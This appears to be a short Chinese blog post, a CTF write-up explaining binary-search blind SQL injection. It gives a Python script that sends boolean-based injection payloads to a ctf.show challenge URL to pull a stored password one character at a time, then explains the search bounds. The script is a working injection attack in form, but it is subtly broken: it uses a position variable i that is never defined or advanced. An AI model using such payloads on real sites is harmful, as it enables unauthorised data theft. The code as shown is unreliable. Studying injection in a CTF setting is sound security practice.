SQL 盲注二分法

2022-07-28 2022-07-28 约 300 字预计阅读 1 分钟

之前一直都是整个过一遍字典… 二分法没怎么研究

二分法有一个使用条件, 就是需要查找的内容必须有序 (即按照从小到大或从大到小的顺序排序)

这里借 ASCII 码实现二分法盲注

二分法时间复杂度为 O(log2n)

二分法查找比遍历字典查找效率高得多

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


import requests

url = 'http://a2a7e64c-6f02-4059-84fc-3cdda760b232.challenge.ctf.show/api/index.php?id=1'

flag = ''

while True:
    min = 32
    max = 127
    
    while min < max:
        mid = (min + max) // 2
        payload = '\' and if(ascii(substr((select password from ctfshow_user where username=\'flag\'),{},1))>{},1,0) %23'.format(i,mid)
        res = requests.get(url + payload)
        if 'admin' in res.text:
            min = mid + 1
        else:
            max = mid
    flag += chr(min)
    print(flag)

主要说一下为什么是 min = mid +1 和 max = mid

当判断 mid 大于某个值的结果为 true 时, 这个所求值肯定是比 mid 要大的 (大于), 所以是 mid + 1

当结果为 false 时, 所求值应该是不超过 mid (小于等于), 所以是 max = mid